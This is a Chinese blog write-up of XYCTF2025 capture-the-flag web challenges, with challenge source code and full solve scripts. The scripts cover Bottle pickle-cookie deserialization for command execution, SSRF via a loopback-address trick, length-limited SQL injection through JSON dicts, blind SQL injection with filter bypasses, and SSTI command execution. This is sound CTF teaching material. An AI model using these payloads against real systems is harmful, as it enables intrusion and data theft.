Loading

XYCTF2025 WEB WP+复现

第一天做了两道题,后面为了清明就没再做题hhh,后来在复现平台又做了两道,剩下的不会了,跟着WP复现一下。

Signin

源码:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
    with open('../../secret.txt', 'r') as f:
        secret = f.read()
except:
    print("No secret file found, using default secret")
    secret = "secret"
app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=5000, debug=False)

先分析一下两个路由:

  1. /download:限制了下目录穿越,显然用来读文件的;

  2. /secret:通过cookie的验证限制登录,显然要在此处做文章。

解题:

  1. 根据提示,利用/download查看secret.txt文件,使用./.././../绕过;

  2. 下面就是对于cookie的利用,先去看get_cookie,发现pickle.loads,显然要利用反序列化;

  3. 找到利用点,下一步就是构造,自然去看set_cookie,本来想直接调,但是不知道什么问题不太行,又查了一下发现bottle有一个专门用于构造cookie的cookie_encode方法,直接用就可以,因此构造EXP如下:

    import requests
    from bottle import response, request, cookie_encode
    
    url = "http://gz.imxbt.cn:20944"
    
    secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
    
    class Exploit:
        def __reduce__(self):
            # return (eval, ('__import__("os").popen("ls / > /flag.txt").read()',))
            return (eval, ('__import__("os").popen("cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70 > /flag.txt").read()',))
    
    payload = cookie_encode(("name", {"name": Exploit()}), secret)
    response.set_cookie()
    
    s = requests.Session()
    s.get(url + "/secret", cookies={
            "name": payload.decode()
        })
    
  4. 显然开发也知道这个问题了(国外有类似题,好像叫bottle poem),警告如下:

  5. 报错只是小插曲,但是完全没修复(不理解,当时做的时候还以为挑版本),跑完再去用/download查文件就可以了。

fate

源码

import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')
    
    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)

两个路由:

  1. /proxy:恰如起名,代理作用,就是为了打个SSRF;

  2. /1337:为什么是数字呢?为了能绕过去!两个参数分别是01都是数字?也是为了能绕过去!中间加了个二进制转字符串?还是为了能绕过去!然后限制了传入的长度,再往后就是查数据库了。

解题

基本一样:CakeCTF 2023:country-db,但是不影响我没找到,从头做吧。

  1. 绕SSRF:

    • 直接加在写好的域名后面:@直接绕;

    • 不让用字母:这就涉及到前面的设计了,用的全是数字!

    • 过滤.:十进制绕或者0绕。

  2. 进到/1337,先绕参数0:前面的不让用字母在这用上了,但是只要URL编码两次也就绕过去了;

  3. 参数1:这道题真正的重点,首先要逆着写个string_to_binary(不会就扔给AI),然后就要绕长度限制做SQL注入了,但是长度6显然是啥也不太行,所以重点不在于SQL拼接构造,而在于前面的json.loads(),但是这个方法并没有什么可利用的,功能很强大,但问题就出在强大的功能上,它可以解析各种各样的JSON,加上flask.request.get_json()对于传入的类型并没有任何过滤,因此最开始想到了列表这个好东西,但是被ban了,这是个好事,因为这证明思路对了,又试了字典,发现可以用,于是最大的难点解决了,后面只需要构造拼接SQL就可以了,没有任何过滤,最后整体写出来的EXP如下:

    import json
    import requests
    
    
    def url_encode(s):
        encoded = ""
        for c in s:
            encoded += hex(ord(c)).replace("0x", "%")
        return encoded
    
    
    def binary_to_string(binary_string):
        if len(binary_string) % 8 != 0:
            raise ValueError("Binary string length must be a multiple of 8")
        binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
        string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
        return string_output
    
    
    def string_to_binary(input_string):
        return ''.join(format(ord(c), '08b') for c in input_string)
    
    
    def test(req):
        req = binary_to_string(req)
        print(req)
        req = json.loads(req)
        print(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{req["name"]}')))))))")
    
    
    def res(b):
        args = {
            # 1337解析
            "0": url_encode("abcdefghi"),
            "1": b
        }
    
        url = "http://gz.imxbt.cn:20939/proxy"
    
        ssrf_params = {
            # @ + 十进制绕过
            'url': f'@2130706433:8080/1337?0={args["0"]}&1={args["1"]}'
        }
    
        # 发送请求
        response = requests.get(url, params=ssrf_params)
    
        print(response.content.decode())
    
        return True if "flag" in response.content.decode() else False
    
    
    if __name__ == '__main__':
        # json_d = '{"name":"\'"}'
        for i in range(1, 100):
            json_d = '{"name":{"\'))))))) UNION SELECT FATE FROM FATETABLE LIMIT ' + str(i) + ',' + str(i) + ';--":1}}'
    
            # test(string_to_binary(json_d))
            # break
    
            if res(string_to_binary(json_d)):
                break
    
  4. 这里如果仔细看了init_db文件就可以直接查··· WHERE NAME=\'LAMENTXU\',但是我只看了个字段就关掉了文件(所以不要着急!)脚本中遍历了所有元组,最后一条才跑出来。

ez_puzzle

解题

  1. JS题,禁了鼠标右键和键盘,显然没啥用。

  2. 打开开发者工具,发现加入了反调试,给它干掉!右键选择添加脚本以忽略列表就可以。

  3. 但是这样我们也没法调试了,想想别的方法,既然是判断时间,那就去找关键词,搜下time发现了startTime等等,其他的不可控(比如什么endTime),但是如果startTime很大,去和2秒比较肯定没问题,所以控制台修改一下,然后拼个图就可以了(拼不出来图就完蛋啦)。

ezspl

解题

  1. 开局即登录,先fuzz看看ban了什么,发现空格、换行符、逗号,union等一堆内容被过滤了,本题主要用到两个:一是使用制表符代替空格,二是用FROMFOR代替逗号;

  2. 判断下注入点,过程省略了,发现是username为字符型注入;

  3. 试试万能密码行不行,好消息是可以,坏消息是还有一层:

  4. 显然还是要注入,利用布尔盲注直接爆,最后读到secret: dtfrtkcc0czkoua9s,输入后进入命令执行页面。

    import requests
    
    
    def inject():
        url = 'http://gz.imxbt.cn:20011/login.php'
        flag = ''
        char = 'qwertyuiopasdfghjkllzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_'
    
        for i in range(1, 50):
            for j in char:
    
                payload = f"'or\tsubstr(database()from({i})for(1))='{j}'#"
                # payload = f"'or\tsubstr((select\tgroup_concat(table_name)from\tinformation_schema.tables\twhere\ttable_schema='testdb')from({i})for(1))='{j}'#"
                # payload = f"'or\tsubstr((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name='double_check')from({i})for(1))='{j}'#"
                # payload = f"'or\tsubstr((select\tgroup_concat(secret)\tfrom\tdouble_check)from({i})for(1))='{j}'#"
    
                data = {"username": payload, "password": ddd}
                r = requests.post(url=url, data=data)
                # print(payload)
                # print(r.text)
    
                if "检测到非法输入,已阻断!" in r.text:
                    print(payload)
                    break
    
                if "帐号或密码错误" not in r.text:
                    flag += j
                    print(flag)
                    break
    
    inject()
    
  5. 无回显,还把空格ban了,直接重定向:cat${IFS}/flag.txt${IFS}>flag.txt,然后看文件即可。

官方解法

注入方法相同,命令执行时候使用awkcut -c来遍历前面命令执行的结果(类似时间盲注),其实还挺好用的,只是这题没必要,脚本如下:



Now you see me 1

Now you see me 2

出题人已疯

源码

import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

很明显的一道SSTI题,限制了长度和open\两个字符。

解题

  1. 使用bottle框架(这次题“超级高/多水瓶”),这个模板可以在大括号中使用python表达式,所以就下面这种应该直接能打(如果没有长度限制):

  2. 先补个知识:SimpleTemplatebottle默认模板)的模板文件中,%开头是模板指令语法;

  3. 所以直接将要执行的命令分多次放到同一个变量里面,然后统一执行以下就可以了,脚本如下(直接单个字符传了),其中每个payload前面要加一个\n是为了确保payload被解释为新的一行模板指令,避免跟前一行混在一起导致解析失败:

    import requests
    
    url = 'http://gz.imxbt.cn:20079/attack'
    payload = "__import__('os').system('cat /f*>d')"
    
    p = [payload[i:i+1] for i in range(0,len(payload))]
    
    flag = True
    
    for payload_part in p:
        if flag:
            tmp = f'\n%import os;os.a="{payload_part}"'
            flag = False
        else:
            tmp = f'\n%import os;os.a+="{payload_part}"'
        requests.get(url,params={"payload":tmp})
    
    requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
    print(requests.get(url,params={"payload":"\n%include('d')"}).text)
    
  4. 最终获得结果如下:

Revenge

后面有一道又疯的题,加了很多黑名单,从而引出了另一种解法,即使用python强大的特殊字符解析功能来绕过过滤,如ºpen('/flag').read(),于是只要传这个就可以了,如果一切正常的话。

但是显然还有问题,这个特殊字符的URL编码是两个字节,如下:

但是如果直接传入%BA解析的结果是同样可以被识别的(原理不知道,等查好了补充),因此最终成功攻击:

posted @ 2025-04-09 13:07  SmoothWater  阅读(509)  评论(0)    收藏  举报